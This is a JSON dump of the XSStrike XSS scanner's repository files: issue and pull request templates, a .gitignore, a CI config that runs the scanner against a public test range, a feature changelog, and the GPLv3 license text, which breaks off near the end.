[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\nlabels: \n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nExplain how the issue can be reproduced.\n<!-- Does this happen with a specific website? If that's the case, it would be\nhelpful if you can mail me the target at s0md3v@gmail.com or dm me at https://twitter.com/s0md3v -->\n\n**Screenshots**\nIf applicable, add screenshots or paste terminal output to help explain your problem.\nFeel free to hide sensitive information like the URL of the target.\n\n**Potential cause or fix**\nDo you know what could be causing the problem or how to fix it?\n\n**Environment:**\n - OS: [e.g. Kali Rolling 2018.2]\n - Browser [e.g. Firefox 60.2]\n - Python version [e.g. 3.7]\n\n**Some Questions**\n<!-- check the boxes with \"x\" like [x] -->\n\n- [ ] I am using the latest version of XSStrike.\n- [ ] I installed the dependecies using `pip3` instead of `pip`\n- [ ] I have read the documentation before submitting this issue.\n- [ ] I have checked the other issues to see if someone reported this before.\n\n**Other comments**\nDo you have something else to say?\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\nlabels: \n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "#### What does it implement/fix? Explain your changes.\n\n#### Where has this been tested?\nPython Version:\\\nOperating System:\n\n#### Does this close any currently open issues? \n\n#### Does this add any new dependency?\n\n#### Does this add any new command line switch/option?\n<!-- If you have added an argument which doesn't require a value, please don't use a shorthand for it. -->\n<!-- For example, if you to introduce an option to disable colors please use --no-colors instead of -c -->\n\n#### Any other comments you would like to make?\n\n#### Some Questions\n- [ ] I have documented my code.\n- [ ] I have tested my build before submitting the pull request.\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# pyenv\n.python-version\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n\n#vscode\n.vscode/\n"
  },
  {
    "path": ".travis.yml",
    "content": "language: python\ncache: pip\nenv:\n  - MOZ_HEADLESS=1\naddons:\n  firefox: latest\nos:\n  - linux\npython:\n  - 3.6\nbefore_install:\n  - wget https://github.com/mozilla/geckodriver/releases/download/v0.24.0/geckodriver-v0.24.0-linux64.tar.gz\n  - mkdir geckodriver\n  - tar -xzf geckodriver-v0.24.0-linux64.tar.gz -C geckodriver\n  - export PATH=$PATH:$PWD/geckodriver\ninstall:\n  - pip install -r requirements.txt\n  - pip install flake8\nbefore_script:\n  - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics\n  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide\n  - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics\nscript:\n  - python xsstrike.py -u \"https://public-firing-range.appspot.com/reflected/index.html\" --crawl\n  - echo \"No\" > input.txt && python xsstrike.py -u https://public-firing-range.appspot.com/reflected/parameter/body?q=query < input.txt\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "### 3.1.5\n- Fix color bug that resulted in DOM XSS vulnerabilities not\n  being reported on certain systems (Windows, macOS, iOS)\n\n### 3.1.4\n- Negligible DOM XSS false positives\n- x10 Faster crawling by\n    - Removing additional request for detecting DOM XSS\n    - Skipping testing of a parameter multiple times\n\n### 3.1.3\n- Removed browser engine emulation\n- Fixed a few bugs\n- Added a plugin to scan for outdated JS libraries\n- Improved crawling and DOM scanning\n\n### 3.1.2\n- Fixed POST data handling\n- Support for JSON POST data\n- Support for URL rewriting\n- Cleaner crawling dashboard\n- No more weird characters while scanning DOM\n- Better DOM XSS scanning\n- Handle unicode while writing to file\n- Handle connection reset\n- Added ability to add headers from command line\n- Fixed issue which caused `foundParams` to not be tested\n\n### 3.1.1\n- Fixed a build breaking typo\n\n### 3.1.0\n- Various minor enhancements and bug fixes\n- Browser engine integration for zero false positives\n- Coverage of event handler context\n\n### 3.0.5\n\n- Fixed a bug in HTML Parser\n- Ability to add urls from file\n- More modular structure\n- Show parameter name while bruteforcing\n- Fix payload display while using POST method\n\n### 3.0.4\n\n- Fixed a bug in bruteforcer\n- Fixed a major bug in HTML Parser\n- Added progress bar for bruteforcer\n- Code refactor\n- Updated signature for Fortiweb WAF\n\n### 3.0.3\n\n- Minor bug fixes\n- Proxy Support\n- Blind XSS support\n- Detection of up to 66 WAFs\n\n### 3.0.2\n\n- Ability to bruteforce payloads from a file\n- Verbose output toggle\n- Payload encoding: base64\n- Handle MemoryError in DOM scanner\n- Fixed a bug in bruteforcer\n\n### 3.0.1\n\n- Fixed poc generation\n- Better multi js context injection\n- Better wrong content type handling\n- Handle high variance of context breakers\n- Better efficiency check\n- Fixed update mechanism\n- Added license\n- Added --skip switch\n- Ignore SSL certificates\n\n### 3.0.0\n\nProduction ready stable release with no known bugs\n\n### 3.0-rc-1\n\n- Removed redundant code & imports\n- Disable colors in windows and mac\n- Fixed user-agent overriding\n- Handle wrong content type\n- Multi-thread scanning\n- Rewritten JavaScript parser to be more accurate\n- Handle dynamic number of reflections\n- Better regex for locating DOM sources\n- Fixed a bug in DOM scanning while crawling\n- Flexible crawling with ability to specify threads, depth\n- Treat html entity and slash escaping differently\n- Other minor bug fixes\n\n### 3.0-beta\n\nIntial beta release for public testing\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper 